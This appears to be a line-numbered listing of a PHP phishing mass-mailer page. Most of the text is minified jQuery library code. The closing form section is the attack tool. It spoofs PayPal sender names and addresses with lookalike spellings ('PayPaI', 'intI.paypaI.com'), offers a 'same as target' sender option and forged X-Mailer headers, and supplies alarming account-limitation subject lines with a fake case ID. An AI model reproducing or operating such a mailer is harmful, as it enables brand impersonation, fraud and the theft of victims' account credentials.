null}}}jQuery.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){jQuery.propFix[this.toLowerCase()]=this});if(!support.enctype){jQuery.propFix.enctype="encoding"}var rclass=/[\t\r\n\f]/g;jQuery.fn.extend({addClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).addClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):" ");if(cur){j=0;while((clazz=classes[j++])){if(cur.indexOf(" "+clazz+" ")<0){cur+=clazz+" "}}finalValue=jQuery.trim(cur);if(elem.className!==finalValue){elem.className=finalValue}}}}return this},removeClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=arguments.length===0||typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).removeClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):"");if(cur){j=0;while((clazz=classes[j++])){while(cur.indexOf(" "+clazz+" ")>=0){cur=cur.replace(" "+clazz+" "," ")}}finalValue=value?jQuery.trim(cur):"";if(elem.className!==finalValue){elem.className=finalValue}}}}return this},toggleClass:function(value,stateVal){var type=typeof value;if(typeof stateVal==="boolean"&&type==="string"){return stateVal?this.addClass(value):this.removeClass(value)}if(jQuery.isFunction(value)){return this.each(function(i){jQuery(this).toggleClass(value.call(this,i,this.className,stateVal),stateVal)})}return this.each(function(){if(type==="string"){var className,i=0,self=jQuery(this),classNames=value.match(rnotwhite)||[];while((className=classNames[i++])){if(self.hasClass(className)){self.removeClass(className)}else{self.addClass(className)}}}else if(type===strundefined||type==="boolean"){if(this.className){jQuery._data(this,"__className__",this.className)}this.className=this.className||value===false?"":jQuery._data(this,"__className__")||""}})},hasClass:function(selector){var className=" "+selector+" ",i=0,l=this.length;for(;i<l;i++){if(this[i].nodeType===1&&(" "+this[i].className+" ").replace(rclass," ").indexOf(className)>=0){return true}}return false}});jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick "+"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave "+"change select submit keydown keypress keyup error contextmenu").split(" "),function(i,name){jQuery.fn[name]=function(data,fn){return arguments.length>0?this.on(name,null,data,fn):this.trigger(name)}});jQuery.fn.extend({hover:function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut||fnOver)},bind:function(types,data,fn){return this.on(types,null,data,fn)},unbind:function(types,fn){return this.off(types,null,fn)},delegate:function(selector,types,data,fn){return this.on(types,selector,data,fn)},undelegate:function(selector,types,fn){return arguments.length===1?this.off(selector,"**"):this.off(types,selector||"**",fn)}});var nonce=jQuery.now();var rquery=(/\?/);var rvalidtokens=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;jQuery.parseJSON=function(data){if(window.JSON&&window.JSON.parse){return window.JSON.parse(data+"")}var requireNonComma,depth=null,str=jQuery.trim(data+"");return str&&!jQuery.trim(str.replace(rvalidtokens,function(token,comma,open,close){if(requireNonComma&&comma){depth=0}if(depth===0){return token}requireNonComma=open||comma;depth+=!close-!open;return""}))?(Function("return "+str))():jQuery.error("Invalid JSON: "+data)};jQuery.parseXML=function(data){var xml,tmp;if(!data||typeof data!=="string"){return null}try{if(window.DOMParser){tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}else{xml=new ActiveXObject("Microsoft.XMLDOM");xml.async="false";xml.loadXML(data)}}catch(e){xml=undefined}if(!xml||!xml.documentElement||xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid XML: "+data)}return xml};var ajaxLocParts,ajaxLocation,rhash=/#.*$/,rts=/([?&])_=[^&]*/,rheaders=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,rlocalProtocol=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,rnoContent=/^(?:GET|HEAD)$/,rprotocol=/^\/\//,rurl=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,prefilters={},transports={},allTypes="*/".concat("*");try{ajaxLocation=location.href}catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href}ajaxLocParts=rurl.exec(ajaxLocation.toLowerCase())||[];function addToPrefiltersOrTransports(structure){return function(dataTypeExpression,func){if(typeof dataTypeExpression!=="string"){func=dataTypeExpression;dataTypeExpression="*"}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){while((dataType=dataTypes[i++])){if(dataType.charAt(0)==="+"){dataType=dataType.slice(1)||"*";(structure[dataType]=structure[dataType]||[]).unshift(func)}else{(structure[dataType]=structure[dataType]||[]).push(func)}}}}}function inspectPrefiltersOrTransports(structure,options,originalOptions,jqXHR){var inspected={},seekingTransport=(structure===transports);function inspect(dataType){var selected;inspected[dataType]=true;jQuery.each(structure[dataType]||[],function(_,prefilterOrFactory){var dataTypeOrTransport=prefilterOrFactory(options,originalOptions,jqXHR);if(typeof dataTypeOrTransport==="string"&&!seekingTransport&&!inspected[dataTypeOrTransport]){options.dataTypes.unshift(dataTypeOrTransport);inspect(dataTypeOrTransport);return false}else if(seekingTransport){return!(selected=dataTypeOrTransport)}});return selected}return inspect(options.dataTypes[0])||!inspected["*"]&&inspect("*")}function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:(deep||(deep={})))[key]=src[key]}}if(deep){jQuery.extend(true,target,deep)}return target}function ajaxHandleResponses(s,jqXHR,responses){var firstDataType,ct,finalDataType,type,contents=s.contents,dataTypes=s.dataTypes;while(dataTypes[0]==="*"){dataTypes.shift();if(ct===undefined){ct=s.mimeType||jqXHR.getResponseHeader("Content-Type")}}if(ct){for(type in contents){if(contents[type]&&contents[type].test(ct)){dataTypes.unshift(type);break}}}if(dataTypes[0]in responses){finalDataType=dataTypes[0]}else{for(type in responses){if(!dataTypes[0]||s.converters[type+" "+dataTypes[0]]){finalDataType=type;break}if(!firstDataType){firstDataType=type}}finalDataType=finalDataType||firstDataType}if(finalDataType){if(finalDataType!==dataTypes[0]){dataTypes.unshift(finalDataType)}return responses[finalDataType]}}function ajaxConvert(s,response,jqXHR,isSuccess){var conv2,current,conv,tmp,prev,converters={},dataTypes=s.dataTypes.slice();if(dataTypes[1]){for(conv in s.converters){converters[conv.toLowerCase()]=s.converters[conv]}}current=dataTypes.shift();while(current){if(s.responseFields[current]){jqXHR[s.responseFields[current]]=response}if(!prev&&isSuccess&&s.dataFilter){response=s.dataFilter(response,s.dataType)}prev=current;current=dataTypes.shift();if(current){if(current==="*"){current=prev}else if(prev!=="*"&&prev!==current){conv=converters[prev+" "+current]||converters["* "+current];if(!conv){for(conv2 in converters){tmp=conv2.split(" ");if(tmp[1]===current){conv=converters[prev+" "+tmp[0]]||converters["* "+tmp[0]];if(conv){if(conv===true){conv=converters[conv2]}else if(converters[conv2]!==true){current=tmp[0];dataTypes.unshift(tmp[1])}break}}}}if(conv!==true){if(conv&&s["throws"]){response=conv(response)}else{try{response=conv(response)}catch(e){return{state:"parsererror",error:conv?e:"No conversion from "+prev+" to "+current}}}}}}}return{state:"success",data:response}}jQuery.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ajaxLocation,type:"GET",isLocal:rlocalProtocol.test(ajaxLocParts[1]),global:true,processData:true,async:true,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":allTypes,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":true,"text json":jQuery.parseJSON,"text xml":jQuery.parseXML},flatOptions:{url:true,context:true}},ajaxSetup:function(target,settings){return settings?ajaxExtend(ajaxExtend(target,jQuery.ajaxSettings),settings):ajaxExtend(jQuery.ajaxSettings,target)},ajaxPrefilter:addToPrefiltersOrTransports(prefilters),ajaxTransport:addToPrefiltersOrTransports(transports),ajax:function(url,options){if(typeof url==="object"){options=url;url=undefined}options=options||{};var parts,i,cacheURL,responseHeadersString,timeoutTimer,fireGlobals,transport,responseHeaders,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQuery.Deferred(),completeDeferred=jQuery.Callbacks("once memory"),statusCode=s.statusCode||{},requestHeaders={},requestHeadersNames={},state=0,strAbort="canceled",jqXHR={readyState:0,getResponseHeader:function(key){var match;if(state===2){if(!responseHeaders){responseHeaders={};while((match=rheaders.exec(responseHeadersString))){responseHeaders[match[1].toLowerCase()]=match[2]}}match=responseHeaders[key.toLowerCase()]}return match==null?null:match},getAllResponseHeaders:function(){return state===2?responseHeadersString:null},setRequestHeader:function(name,value){var lname=name.toLowerCase();if(!state){name=requestHeadersNames[lname]=requestHeadersNames[lname]||name;requestHeaders[name]=value}return this},overrideMimeType:function(type){if(!state){s.mimeType=type}return this},statusCode:function(map){var code;if(map){if(state<2){for(code in map){statusCode[code]=[statusCode[code],map[code]]}}else{jqXHR.always(map[jqXHR.status])}}return this},abort:function(statusText){var finalText=statusText||strAbort;if(transport){transport.abort(finalText)}done(0,finalText);return this}};deferred.promise(jqXHR).complete=completeDeferred.add;jqXHR.success=jqXHR.done;jqXHR.error=jqXHR.fail;s.url=((url||s.url||ajaxLocation)+"").replace(rhash,"").replace(rprotocol,ajaxLocParts[1]+"//");s.type=options.method||options.type||s.method||s.type;s.dataTypes=jQuery.trim(s.dataType||"*").toLowerCase().match(rnotwhite)||[""];if(s.crossDomain==null){parts=rurl.exec(s.url.toLowerCase());s.crossDomain=!!(parts&&(parts[1]!==ajaxLocParts[1]||parts[2]!==ajaxLocParts[2]||(parts[3]||(parts[1]==="http:"?"80":"443"))!==(ajaxLocParts[3]||(ajaxLocParts[1]==="http:"?"80":"443"))))}if(s.data&&s.processData&&typeof s.data!=="string"){s.data=jQuery.param(s.data,s.traditional)}inspectPrefiltersOrTransports(prefilters,s,options,jqXHR);if(state===2){return jqXHR}fireGlobals=jQuery.event&&s.global;if(fireGlobals&&jQuery.active++===0){jQuery.event.trigger("ajaxStart")}s.type=s.type.toUpperCase();s.hasContent=!rnoContent.test(s.type);cacheURL=s.url;if(!s.hasContent){if(s.data){cacheURL=(s.url+=(rquery.test(cacheURL)?"&":"?")+s.data);delete s.data}if(s.cache===false){s.url=rts.test(cacheURL)?cacheURL.replace(rts,"$1_="+nonce++):cacheURL+(rquery.test(cacheURL)?"&":"?")+"_="+nonce++}}if(s.ifModified){if(jQuery.lastModified[cacheURL]){jqXHR.setRequestHeader("If-Modified-Since",jQuery.lastModified[cacheURL])}if(jQuery.etag[cacheURL]){jqXHR.setRequestHeader("If-None-Match",jQuery.etag[cacheURL])}}if(s.data&&s.hasContent&&s.contentType!==false||options.contentType){jqXHR.setRequestHeader("Content-Type",s.contentType)}jqXHR.setRequestHeader("Accept",s.dataTypes[0]&&s.accepts[s.dataTypes[0]]?s.accepts[s.dataTypes[0]]+(s.dataTypes[0]!=="*"?", "+allTypes+"; q=0.01":""):s.accepts["*"]);for(i in s.headers){jqXHR.setRequestHeader(i,s.headers[i])}if(s.beforeSend&&(s.beforeSend.call(callbackContext,jqXHR,s)===false||state===2)){return jqXHR.abort()}strAbort="abort";for(i in{success:1,error:1,complete:1}){jqXHR[i](s[i])}transport=inspectPrefiltersOrTransports(transports,s,options,jqXHR);if(!transport){done(-1,"No Transport")}else{jqXHR.readyState=1;if(fireGlobals){globalEventContext.trigger("ajaxSend",[jqXHR,s])}if(s.async&&s.timeout>0){timeoutTimer=setTimeout(function(){jqXHR.abort("timeout")},s.timeout)}try{state=1;transport.send(requestHeaders,done)}catch(e){if(state<2){done(-1,e)}else{throw e;}}}function done(status,nativeStatusText,responses,headers){var isSuccess,success,error,response,modified,statusText=nativeStatusText;if(state===2){return}state=2;if(timeoutTimer){clearTimeout(timeoutTimer)}transport=undefined;responseHeadersString=headers||"";jqXHR.readyState=status>0?4:0;isSuccess=status>=200&&status<300||status===304;if(responses){response=ajaxHandleResponses(s,jqXHR,responses)}response=ajaxConvert(s,response,jqXHR,isSuccess);if(isSuccess){if(s.ifModified){modified=jqXHR.getResponseHeader("Last-Modified");if(modified){jQuery.lastModified[cacheURL]=modified}modified=jqXHR.getResponseHeader("etag");if(modified){jQuery.etag[cacheURL]=modified}}if(status===204||s.type==="HEAD"){statusText="nocontent"}else if(status===304){statusText="notmodified"}else{statusText=response.state;success=response.data;error=response.error;isSuccess=!error}}else{error=statusText;if(status||!statusText){statusText="error";if(status<0){status=0}}}jqXHR.status=status;jqXHR.statusText=(nativeStatusText||statusText)+"";if(isSuccess){deferred.resolveWith(callbackContext,[success,statusText,jqXHR])}else{deferred.rejectWith(callbackContext,[jqXHR,statusText,error])}jqXHR.statusCode(statusCode);statusCode=undefined;if(fireGlobals){globalEventContext.trigger(isSuccess?"ajaxSuccess":"ajaxError",[jqXHR,s,isSuccess?success:error])}completeDeferred.fireWith(callbackContext,[jqXHR,statusText]);if(fireGlobals){globalEventContext.trigger("ajaxComplete",[jqXHR,s]);if(!(--jQuery.active)){jQuery.event.trigger("ajaxStop")}}}return jqXHR},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json")},getScript:function(url,callback){return jQuery.get(url,undefined,callback,"script")}});jQuery.each(["get","post"],function(i,method){jQuery[method]=function(url,data,callback,type){if(jQuery.isFunction(data)){type=type||callback;callback=data;data=undefined}return jQuery.ajax({url:url,type:method,dataType:type,data:data,success:callback})}});jQuery._evalUrl=function(url){return jQuery.ajax({url:url,type:"GET",dataType:"script",async:false,global:false,"throws":true})};jQuery.fn.extend({wrapAll:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapAll(html.call(this,i))})}if(this[0]){var wrap=jQuery(html,this[0].ownerDocument).eq(0).clone(true);if(this[0].parentNode){wrap.insertBefore(this[0])}wrap.map(function(){var elem=this;while(elem.firstChild&&elem.firstChild.nodeType===1){elem=elem.firstChild}return elem}).append(this)}return this},wrapInner:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapInner(html.call(this,i))})}return this.each(function(){var self=jQuery(this),contents=self.contents();if(contents.length){contents.wrapAll(html)}else{self.append(html)}})},wrap:function(html){var isFunction=jQuery.isFunction(html);return this.each(function(i){jQuery(this).wrapAll(isFunction?html.call(this,i):html)})},unwrap:function(){return this.parent().each(function(){if(!jQuery.nodeName(this,"body")){jQuery(this).replaceWith(this.childNodes)}}).end()}});jQuery.expr.filters.hidden=function(elem){return elem.offsetWidth<=0&&elem.offsetHeight<=0||(!support.reliableHiddenOffsets()&&((elem.style&&elem.style.display)||jQuery.css(elem,"display"))==="none")};jQuery.expr.filters.visible=function(elem){return!jQuery.expr.filters.hidden(elem)};var r20=/%20/g,rbracket=/\[\]$/,rCRLF=/\r?\n/g,rsubmitterTypes=/^(?:submit|button|image|reset|file)$/i,rsubmittable=/^(?:input|select|textarea|keygen)/i;function buildParams(prefix,obj,traditional,add){var name;if(jQuery.isArray(obj)){jQuery.each(obj,function(i,v){if(traditional||rbracket.test(prefix)){add(prefix,v)}else{buildParams(prefix+"["+(typeof v==="object"?i:"")+"]",v,traditional,add)}})}else if(!traditional&&jQuery.type(obj)==="object"){for(name in obj){buildParams(prefix+"["+name+"]",obj[name],traditional,add)}}else{add(prefix,obj)}}jQuery.param=function(a,traditional){var prefix,s=[],add=function(key,value){value=jQuery.isFunction(value)?value():(value==null?"":value);s[s.length]=encodeURIComponent(key)+"="+encodeURIComponent(value)};if(traditional===undefined){traditional=jQuery.ajaxSettings&&jQuery.ajaxSettings.traditional}if(jQuery.isArray(a)||(a.jquery&&!jQuery.isPlainObject(a))){jQuery.each(a,function(){add(this.name,this.value)})}else{for(prefix in a){buildParams(prefix,a[prefix],traditional,add)}}return s.join("&").replace(r20,"+")};jQuery.fn.extend({serialize:function(){return jQuery.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var elements=jQuery.prop(this,"elements");return elements?jQuery.makeArray(elements):this}).filter(function(){var type=this.type;return this.name&&!jQuery(this).is(":disabled")&&rsubmittable.test(this.nodeName)&&!rsubmitterTypes.test(type)&&(this.checked||!rcheckableType.test(type))}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:jQuery.isArray(val)?jQuery.map(val,function(val){return{name:elem.name,value:val.replace(rCRLF,"\r\n")}}):{name:elem.name,value:val.replace(rCRLF,"\r\n")}}).get()}});jQuery.ajaxSettings.xhr=window.ActiveXObject!==undefined?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&createStandardXHR()||createActiveXHR()}:createStandardXHR;var xhrId=0,xhrCallbacks={},xhrSupported=jQuery.ajaxSettings.xhr();if(window.attachEvent){window.attachEvent("onunload",function(){for(var key in xhrCallbacks){xhrCallbacks[key](undefined,true)}})}support.cors=!!xhrSupported&&("withCredentials"in xhrSupported);xhrSupported=support.ajax=!!xhrSupported;if(xhrSupported){jQuery.ajaxTransport(function(options){if(!options.crossDomain||support.cors){var callback;return{send:function(headers,complete){var i,xhr=options.xhr(),id=++xhrId;xhr.open(options.type,options.url,options.async,options.username,options.password);if(options.xhrFields){for(i in options.xhrFields){xhr[i]=options.xhrFields[i]}}if(options.mimeType&&xhr.overrideMimeType){xhr.overrideMimeType(options.mimeType)}if(!options.crossDomain&&!headers["X-Requested-With"]){headers["X-Requested-With"]="XMLHttpRequest"}for(i in headers){if(headers[i]!==undefined){xhr.setRequestHeader(i,headers[i]+"")}}xhr.send((options.hasContent&&options.data)||null);callback=function(_,isAbort){var status,statusText,responses;if(callback&&(isAbort||xhr.readyState===4)){delete xhrCallbacks[id];callback=undefined;xhr.onreadystatechange=jQuery.noop;if(isAbort){if(xhr.readyState!==4){xhr.abort()}}else{responses={};status=xhr.status;if(typeof xhr.responseText==="string"){responses.text=xhr.responseText}try{statusText=xhr.statusText}catch(e){statusText=""}if(!status&&options.isLocal&&!options.crossDomain){status=responses.text?200:404}else if(status===1223){status=204}}}if(responses){complete(status,statusText,responses,xhr.getAllResponseHeaders())}};if(!options.async){callback()}else if(xhr.readyState===4){setTimeout(callback)}else{xhr.onreadystatechange=xhrCallbacks[id]=callback}},abort:function(){if(callback){callback(undefined,true)}}}}})}function createStandardXHR(){try{return new window.XMLHttpRequest()}catch(e){}}function createActiveXHR(){try{return new window.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}}jQuery.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(text){jQuery.globalEval(text);return text}}});jQuery.ajaxPrefilter("script",function(s){if(s.cache===undefined){s.cache=false}if(s.crossDomain){s.type="GET";s.global=false}});jQuery.ajaxTransport("script",function(s){if(s.crossDomain){var script,head=document.head||jQuery("head")[0]||document.documentElement;return{send:function(_,callback){script=document.createElement("script");script.async=true;if(s.scriptCharset){script.charset=s.scriptCharset}script.src=s.url;script.onload=script.onreadystatechange=function(_,isAbort){if(isAbort||!script.readyState||/loaded|complete/.test(script.readyState)){script.onload=script.onreadystatechange=null;if(script.parentNode){script.parentNode.removeChild(script)}script=null;if(!isAbort){callback(200,"success")}}};head.insertBefore(script,head.firstChild)},abort:function(){if(script){script.onload(undefined,true)}}}}});var oldCallbacks=[],rjsonp=/(=)\?(?=&|$)|\?\?/;jQuery.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var callback=oldCallbacks.pop()||(jQuery.expando+"_"+(nonce++));this[callback]=true;return callback}});jQuery.ajaxPrefilter("json jsonp",function(s,originalSettings,jqXHR){var callbackName,overwritten,responseContainer,jsonProp=s.jsonp!==false&&(rjsonp.test(s.url)?"url":typeof s.data==="string"&&!(s.contentType||"").indexOf("application/x-www-form-urlencoded")&&rjsonp.test(s.data)&&"data");if(jsonProp||s.dataTypes[0]==="jsonp"){callbackName=s.jsonpCallback=jQuery.isFunction(s.jsonpCallback)?s.jsonpCallback():s.jsonpCallback;if(jsonProp){s[jsonProp]=s[jsonProp].replace(rjsonp,"$1"+callbackName)}else if(s.jsonp!==false){s.url+=(rquery.test(s.url)?"&":"?")+s.jsonp+"="+callbackName}s.converters["script json"]=function(){if(!responseContainer){jQuery.error(callbackName+" was not called")}return responseContainer[0]};s.dataTypes[0]="json";overwritten=window[callbackName];window[callbackName]=function(){responseContainer=arguments};jqXHR.always(function(){window[callbackName]=overwritten;if(s[callbackName]){s.jsonpCallback=originalSettings.jsonpCallback;oldCallbacks.push(callbackName)}if(responseContainer&&jQuery.isFunction(overwritten)){overwritten(responseContainer[0])}responseContainer=overwritten=undefined});return"script"}});jQuery.parseHTML=function(data,context,keepScripts){if(!data||typeof data!=="string"){return null}if(typeof context==="boolean"){keepScripts=context;context=false}context=context||document;var parsed=rsingleTag.exec(data),scripts=!keepScripts&&[];if(parsed){return[context.createElement(parsed[1])]}parsed=jQuery.buildFragment([data],context,scripts);if(scripts&&scripts.length){jQuery(scripts).remove()}return jQuery.merge([],parsed.childNodes)};var _load=jQuery.fn.load;jQuery.fn.load=function(url,params,callback){if(typeof url!=="string"&&_load){return _load.apply(this,arguments)}var selector,response,type,self=this,off=url.indexOf(" ");if(off>=0){selector=jQuery.trim(url.slice(off,url.length));url=url.slice(0,off)}if(jQuery.isFunction(params)){callback=params;params=undefined}else if(params&&typeof params==="object"){type="POST"}if(self.length>0){jQuery.ajax({url:url,type:type,dataType:"html",data:params}).done(function(responseText){response=arguments;self.html(selector?jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector):responseText)}).complete(callback&&function(jqXHR,status){self.each(callback,response||[jqXHR.responseText,status,jqXHR])})}return this};jQuery.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(i,type){jQuery.fn[type]=function(fn){return this.on(type,fn)}});jQuery.expr.filters.animated=function(elem){return jQuery.grep(jQuery.timers,function(fn){return elem===fn.elem}).length};var docElem=window.document.documentElement;function getWindow(elem){return jQuery.isWindow(elem)?elem:elem.nodeType===9?elem.defaultView||elem.parentWindow:false}jQuery.offset={setOffset:function(elem,options,i){var curPosition,curLeft,curCSSTop,curTop,curOffset,curCSSLeft,calculatePosition,position=jQuery.css(elem,"position"),curElem=jQuery(elem),props={};if(position==="static"){elem.style.position="relative"}curOffset=curElem.offset();curCSSTop=jQuery.css(elem,"top");curCSSLeft=jQuery.css(elem,"left");calculatePosition=(position==="absolute"||position==="fixed")&&jQuery.inArray("auto",[curCSSTop,curCSSLeft])>-1;if(calculatePosition){curPosition=curElem.position();curTop=curPosition.top;curLeft=curPosition.left}else{curTop=parseFloat(curCSSTop)||0;curLeft=parseFloat(curCSSLeft)||0}if(jQuery.isFunction(options)){options=options.call(elem,i,curOffset)}if(options.top!=null){props.top=(options.top-curOffset.top)+curTop}if(options.left!=null){props.left=(options.left-curOffset.left)+curLeft}if("using"in options){options.using.call(elem,props)}else{curElem.css(props)}}};jQuery.fn.extend({offset:function(options){if(arguments.length){return options===undefined?this:this.each(function(i){jQuery.offset.setOffset(this,options,i)})}var docElem,win,box={top:0,left:0},elem=this[0],doc=elem&&elem.ownerDocument;if(!doc){return}docElem=doc.documentElement;if(!jQuery.contains(docElem,elem)){return box}if(typeof elem.getBoundingClientRect!==strundefined){box=elem.getBoundingClientRect()}win=getWindow(doc);return{top:box.top+(win.pageYOffset||docElem.scrollTop)-(docElem.clientTop||0),left:box.left+(win.pageXOffset||docElem.scrollLeft)-(docElem.clientLeft||0)}},position:function(){if(!this[0]){return}var offsetParent,offset,parentOffset={top:0,left:0},elem=this[0];if(jQuery.css(elem,"position")==="fixed"){offset=elem.getBoundingClientRect()}else{offsetParent=this.offsetParent();offset=this.offset();if(!jQuery.nodeName(offsetParent[0],"html")){parentOffset=offsetParent.offset()}parentOffset.top+=jQuery.css(offsetParent[0],"borderTopWidth",true);parentOffset.left+=jQuery.css(offsetParent[0],"borderLeftWidth",true)}return{top:offset.top-parentOffset.top-jQuery.css(elem,"marginTop",true),left:offset.left-parentOffset.left-jQuery.css(elem,"marginLeft",true)}},offsetParent:function(){return this.map(function(){var offsetParent=this.offsetParent||docElem;while(offsetParent&&(!jQuery.nodeName(offsetParent,"html")&&jQuery.css(offsetParent,"position")==="static")){offsetParent=offsetParent.offsetParent}return offsetParent||docElem})}});jQuery.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(method,prop){var top=/Y/.test(prop);jQuery.fn[method]=function(val){return access(this,function(elem,method,val){var win=getWindow(elem);if(val===undefined){return win?(prop in win)?win[prop]:win.document.documentElement[method]:elem[method]}if(win){win.scrollTo(!top?val:jQuery(win).scrollLeft(),top?val:jQuery(win).scrollTop())}else{elem[method]=val}},method,val,arguments.length,null)}});jQuery.each(["top","left"],function(i,prop){jQuery.cssHooks[prop]=addGetHookIf(support.pixelPosition,function(elem,computed){if(computed){computed=curCSS(elem,prop);return rnumnonpx.test(computed)?jQuery(elem).position()[prop]+"px":computed}})});jQuery.each({Height:"height",Width:"width"},function(name,type){jQuery.each({padding:"inner"+name,content:type,"":"outer"+name},function(defaultExtra,funcName){jQuery.fn[funcName]=function(margin,value){var chainable=arguments.length&&(defaultExtra||typeof margin!=="boolean"),extra=defaultExtra||(margin===true||value===true?"margin":"border");return access(this,function(elem,type,value){var doc;if(jQuery.isWindow(elem)){return elem.document.documentElement["client"+name]}if(elem.nodeType===9){doc=elem.documentElement;return Math.max(elem.body["scroll"+name],doc["scroll"+name],elem.body["offset"+name],doc["offset"+name],doc["client"+name])}return value===undefined?jQuery.css(elem,type,extra):jQuery.style(elem,type,value,extra)},type,chainable?margin:undefined,chainable,null)}})});jQuery.fn.size=function(){return this.length};jQuery.fn.andSelf=jQuery.fn.addBack;if(typeof define==="function"&&define.amd){define("jquery",[],function(){return jQuery})}var _jQuery=window.jQuery,_$=window.$;jQuery.noConflict=function(deep){if(window.$===jQuery){window.$=_$}if(deep&&window.jQuery===jQuery){window.jQuery=_jQuery}return jQuery};if(typeof noGlobal===strundefined){window.jQuery=window.$=jQuery}return jQuery}));</script> </div>
177
178 <div class="col-sm-4" style="padding-left: 7.5px !important;">
179 <div style="margin-bottom: 10px" class="input-group">
180 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
181 <select class="form-control" name="type">
182 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
183 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
184 </select>
185 </div>
186 <div style="margin-bottom: 10px" class="input-group">
187 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
188 <select class="form-control" onChange="Pilih4(this);">
189 <option value="">No X-Mailer</option>
190 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
191 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
192 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
193 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
194 </select>
195 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?=$xmailer;?>" placeholder="X-Mailer">
196 </div>
197 </div>
198 </div>
199
200 <div class="col-sm-8" style="padding-right: 7.5px !important;">
201
202 <div style="margin-bottom: 10px" class="input-group">
203 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
204 <select class="form-control" onChange="Pilih1(this);">
205 <option value="">Select Sender Name</option>
206 <option value="PayPaI">PayPaI</option>
207 <option value="PaypaI Service">PaypaI Service</option>
208 <option value="PaypaI Support">PaypaI Support</option>
209 <option value="Account Service">Account Service</option>
210 <option value="Account Support">Account Support</option>
211 <option value="Service">Service</option>
212 </select>
213 <input id="sender-name" type="text" class="form-control" name="nama" value="<?=$nama;?>" placeholder="Sender Name">
214 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
215 <select class="form-control kanan" onChange="Pilih2(this);">
216 <option value="">Select Sender Email</option>
217 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
218 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
219 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
220 <option value="no-reply">no-reply</option>
221 <option value="admin">admin</option>
222 <option value="service">service</option>
223 <option value="same as target">same as target</option>
224
225 </select>
226 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?=$email;?>" placeholder="Sender Email">
227 </div>
228
229 <div style="margin-bottom: 10px" class="input-group">
230 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
231 <select class="form-control kanan" onChange="Pilih3(this);">
232 <option value="">Select Email Subject</option>
233 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
234 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
235 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
236 <option value="Account Notification">Account Notification</option>
237 <option value="Attention: Your account status change">Attention: Your account status change</option>
238
239 </select>
